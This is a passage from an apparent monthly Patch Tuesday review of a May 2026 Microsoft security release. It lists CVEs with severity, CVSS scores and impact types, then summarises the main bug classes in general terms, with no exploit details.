  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41611"><span>CVE-2026-41611</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41610"><span>CVE-2026-41610</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33839"><span>CVE-2026-33839</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33840"><span>CVE-2026-33840</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34330"><span>CVE-2026-34330</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34331"><span>CVE-2026-34331</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35423"><span>CVE-2026-35423</span></a></td>
  <td width="256" class="xl73">Windows 11 Telnet
  Client Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35438"><span>CVE-2026-35438</span></a></td>
  <td width="256" class="xl73">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41086"><span>CVE-2026-41086</span></a></td>
  <td width="256" class="xl73">Windows Admin Center
  in Azure Portal Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34344"><span>CVE-2026-34344</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34345"><span>CVE-2026-34345</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35416"><span>CVE-2026-35416</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41088"><span>CVE-2026-41088</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34343"><span>CVE-2026-34343</span></a></td>
  <td width="256" class="xl73">Windows Application
  Identity (AppID) Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35418"><span>CVE-2026-35418</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33835"><span>CVE-2026-33835</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34337"><span>CVE-2026-34337</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40407"><span>CVE-2026-40407</span></a></td>
  <td width="256" class="xl73">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40397"><span>CVE-2026-40397</span></a></td>
  <td width="256" class="xl73">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42896"><span>CVE-2026-42896</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35419"><span>CVE-2026-35419</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34336"><span>CVE-2026-34336</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33834"><span>CVE-2026-33834</span></a></td>
  <td width="256" class="xl73">Windows Event Logging
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32209"><span>CVE-2026-32209</span></a></td>
  <td width="256" class="xl73">Windows Filtering
  Platform (WFP) Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33841"><span>CVE-2026-33841</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35420"><span>CVE-2026-35420</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40369"><span>CVE-2026-40369</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="71">
  <td class="xl67" height="71"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34332"><span>CVE-2026-34332</span></a></td>
  <td width="256" class="xl73">Windows Kernel-Mode
  Driver Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34339"><span>CVE-2026-34339</span></a></td>
  <td width="256" class="xl73">Windows Lightweight
  Directory Access Protocol (LDAP) Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34341"><span>CVE-2026-34341</span></a></td>
  <td width="256" class="xl73">Windows Link-Layer
  Discovery Protocol (LLDP) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33838"><span>CVE-2026-33838</span></a></td>
  <td width="256" class="xl73">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34342"><span>CVE-2026-34342</span></a></td>
  <td width="256" class="xl73">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41095"><span>CVE-2026-41095</span></a></td>
  <td width="256" class="xl73">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34340"><span>CVE-2026-34340</span></a></td>
  <td width="256" class="xl73">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40398"><span>CVE-2026-40398</span></a></td>
  <td width="256" class="xl73">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21530"><span>CVE-2026-21530</span></a></td>
  <td width="256" class="xl73">Windows Rich Text Edit
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32170"><span>CVE-2026-32170</span></a></td>
  <td width="256" class="xl73">Windows Rich Text Edit
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40410"><span>CVE-2026-40410</span></a></td>
  <td width="256" class="xl73">Windows SMB Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35415"><span>CVE-2026-35415</span></a></td>
  <td width="256" class="xl73">Windows Storage Spaces
  Controller Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34350"><span>CVE-2026-34350</span></a></td>
  <td width="256" class="xl73">Windows Storport
  Miniport Driver Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40405"><span>CVE-2026-40405</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40414"><span>CVE-2026-40414</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40401"><span>CVE-2026-40401</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40413"><span>CVE-2026-40413</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35422"><span>CVE-2026-35422</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Driver
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34351"><span>CVE-2026-34351</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40399"><span>CVE-2026-40399</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34334"><span>CVE-2026-34334</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40406"><span>CVE-2026-40406</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33837"><span>CVE-2026-33837</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Local
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40415"><span>CVE-2026-40415</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42825"><span>CVE-2026-42825</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34338"><span>CVE-2026-34338</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40382"><span>CVE-2026-40382</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40380"><span>CVE-2026-40380</span></a></td>
  <td width="256" class="xl73">Windows Volume Manager
  Extension Driver Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40408"><span>CVE-2026-40408</span></a></td>
  <td width="256" class="xl73">Windows WAN ARP Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34333"><span>CVE-2026-34333</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34347"><span>CVE-2026-34347</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35417"><span>CVE-2026-35417</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42891"><span>CVE-2026-42891</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35429"><span>CVE-2026-35429</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41107"><span>CVE-2026-41107</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40416"><span>CVE-2026-40416</span></a></td>
  <td width="256" class="xl73">Microsoft
  Edge (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl72">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira &amp; Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.</p><p class="">Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.</p><p class="">As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.</p><p class="">This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption.  Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook.  On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.</p><p class="">Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.</p><p class="">The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI. </p><p class="">There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.</p><p class="">There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow 